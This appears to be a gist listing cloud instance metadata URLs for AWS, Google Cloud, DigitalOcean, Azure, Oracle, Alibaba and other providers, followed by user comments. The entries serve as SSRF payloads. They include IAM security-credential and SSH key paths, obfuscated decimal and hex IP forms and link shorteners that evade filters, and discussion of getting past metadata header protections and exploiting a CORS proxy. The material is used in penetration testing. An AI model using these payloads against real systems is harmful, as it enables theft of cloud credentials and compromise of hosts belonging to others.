| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key | |
| http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key | |
| # AWS - Dirs | |
| http://169.254.169.254/ | |
| http://169.254.169.254/latest/meta-data/ | |
| http://169.254.169.254/latest/meta-data/public-keys/ | |
| ## Google Cloud | |
| # https://cloud.google.com/compute/docs/metadata | |
| # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" | |
| http://169.254.169.254/computeMetadata/v1/ | |
| http://metadata.google.internal/computeMetadata/v1/ | |
| http://metadata/computeMetadata/v1/ | |
| http://metadata.google.internal/computeMetadata/v1/instance/hostname | |
| http://metadata.google.internal/computeMetadata/v1/instance/id | |
| http://metadata.google.internal/computeMetadata/v1/project/project-id | |
| # Google allows recursive pulls | |
| http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true | |
| # Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) | |
| http://metadata.google.internal/computeMetadata/v1beta1/ | |
| ## Digital Ocean | |
| # https://developers.digitalocean.com/documentation/metadata/ | |
| http://169.254.169.254/metadata/v1.json | |
| http://169.254.169.254/metadata/v1/ | |
| http://169.254.169.254/metadata/v1/id | |
| http://169.254.169.254/metadata/v1/user-data | |
| http://169.254.169.254/metadata/v1/hostname | |
| http://169.254.169.254/metadata/v1/region | |
| http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address | |
| ## Packetcloud | |
| https://metadata.packet.net/userdata | |
| ## Azure | |
| # Limited, maybe more exist? | |
| # https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/ | |
| http://169.254.169.254/metadata/v1/maintenance | |
| ## Update Apr 2017, Azure has more support; requires the header "Metadata: true" | |
| # https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service | |
| http://169.254.169.254/metadata/instance?api-version=2017-04-02 | |
| http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text | |
| ## OpenStack/RackSpace | |
| # (header required? unknown) | |
| http://169.254.169.254/openstack | |
| ## HP Helion | |
| # (header required? unknown) | |
| http://169.254.169.254/2009-04-04/meta-data/ | |
| ## Oracle Cloud | |
| http://192.0.0.192/latest/ | |
| http://192.0.0.192/latest/user-data/ | |
| http://192.0.0.192/latest/meta-data/ | |
| http://192.0.0.192/latest/attributes/ | |
| ## Alibaba | |
| http://100.100.100.200/latest/meta-data/ | |
| http://100.100.100.200/latest/meta-data/instance-id | |
| http://100.100.100.200/latest/meta-data/image-id |
Gracias!
For AWS there's also the task metadata service for ECS that you can use when access to the normal metadata service is blocked. You need the UID of the instance, which is an environmental variable on the instance itself, but other than that it's business as usual.
You can also use other notations to reach AWS meta-data service like
http://2852039166/latest/user-data
http://169.254.43518/latest/user-data
http://169.16689662/latest/user-data
http://0xa9fea9fe/latest/user-data
Take a look at this blog https://ma.ttias.be/theres-more-than-one-way-to-write-an-ip-address/ for the explanation
And the shorteners can also work but due to its nature may cause issues and they are pretty noisy
https://bit.ly/3pLoO2s
https://bit.ly/3EnV0gh
Here's the ipv6 address as well fd00:ec2::254
Note: For Google Instances
Any requests that contain the header X-Forwarded-For are automatically rejected by the metadata server. This header generally indicates that the request was proxied and might not be a request made by an authorized user. For security reasons, all such requests are rejected.
Note: For Google Instances Any requests that contain the header X-Forwarded-For are automatically rejected by the metadata server. This header generally indicates that the request was proxied and might not be a request made by an authorized user. For security reasons, all such requests are rejected.
I see that trying to exploit a SSRF on CORS Everywhere, have you find a way to exploit this one or a bypass?
Note: For Google Instances Any requests that contain the header X-Forwarded-For are automatically rejected by the metadata server. This header generally indicates that the request was proxied and might not be a request made by an authorized user. For security reasons, all such requests are rejected.
I see that trying to exploit a SSRF on CORS Everywhere, have you find a way to exploit this one or a bypass?
Nope bro, if you find in future please drop it here. it will be help full to community
http://metadata.google.internal/computeMetadata/v1beta1/ is deprecated now and couldn't be abuse anymore to bypass the "Metadata-Flavor: Google" header requirement.😥